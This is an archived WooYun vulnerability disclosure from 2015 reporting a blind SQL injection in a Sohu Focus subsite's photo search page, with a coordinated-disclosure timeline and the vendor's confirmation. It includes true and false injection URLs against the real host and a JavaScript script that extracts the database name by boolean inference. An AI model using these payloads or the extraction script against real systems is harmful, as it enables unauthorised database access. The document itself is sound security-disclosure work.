当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093291

漏洞标题:搜狐焦点分站另一处SQL盲注

相关厂商:搜狐

漏洞作者: Yns0ng

提交时间:2015-01-22 09:28

修复时间:2015-03-08 09:28

公开时间:2015-03-08 09:28

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-22: 细节已通知厂商并且等待厂商处理中
2015-01-22: 厂商已经确认,细节仅向厂商公开
2015-02-01: 细节向核心白帽子及相关领域专家公开
2015-02-11: 细节向普通白帽子公开
2015-02-21: 细节向实习白帽子公开
2015-03-08: 细节向公众公开

简要描述:

焦点分站某处Boolean盲注,附JS脚本,仅作验证漏洞用。

详细说明:

1,注入点
http://officemsg.focus.cn/group/photo_search.php?group_id=81634&search_str=sohu&search_type=author&search_area=81634&submit=%CB%D1%CB%F7%CD%BC%C6%AC 入参search_area可以注入
2,PoC
为True时:http://officemsg.focus.cn/group/photo_search.php?group_id=81634&search_str=sohu&search_type=author&search_area=81634%27%20and%201=1--+&submit=%CB%D1%CB%F7%CD%BC%C6%AC
有搜索结果

3-true.jpg


为False时:http://officemsg.focus.cn/group/photo_search.php?group_id=81634&search_str=sohu&search_type=author&search_area=81634%27%20and%201=0--+&submit=%CB%D1%CB%F7%CD%BC%C6%AC
无搜索结果

3-false.jpg


3,验证脚本

var xhr = new XMLHttpRequest();
var url = 'http://officemsg.focus.cn/group/photo_search.php';
var dbLen = 0;
for (var i=2; i<21; i++) {
var payload = '?group_id=81634&search_str=sohu&search_type=author&search_area=81634\' and length(database())='+ i +' and 1=1--+&submit=%CB%D1%CB%F7%CD%BC%C6%AC';
xhr.open('GET', url+payload, false);
xhr.send(null);
if (xhr.responseText.indexOf('共19张') > -1) {
dbLen = i;
break;
}
}
console.log('The length of DB is: ' + dbLen);


var charBox = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',0,1,2,3,4,5,6,7,8,9,'@','-','_','.'];
var xhr = new XMLHttpRequest();
var url = 'http://officemsg.focus.cn/group/photo_search.php';
var db = '';
for (var i=1; i<7; i++) {
for (var j in charBox) {
var payload = '?group_id=81634&search_str=sohu&search_type=author&search_area=81634\' and ascii(mid(database(),'+ i +',1))='+ String(charBox[j]).charCodeAt(0) +' and 1=1--+&submit=%CB%D1%CB%F7%CD%BC%C6%AC';
xhr.open('GET', url+payload, false);
xhr.send(null);
if (xhr.responseText.indexOf('共19张') > -1) {
db += String(charBox[j]);
break;
}
}
}
console.log('The DB name is: ' + db);

漏洞证明:

数据库名称:

Boolean-3.jpg


数据库用户名:

Boolean-3-2.jpg

修复方案:

版权声明:转载请注明来源 Yns0ng@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-01-22 10:18

厂商回复:

感谢对搜狐安全的支持。

最新状态:

暂无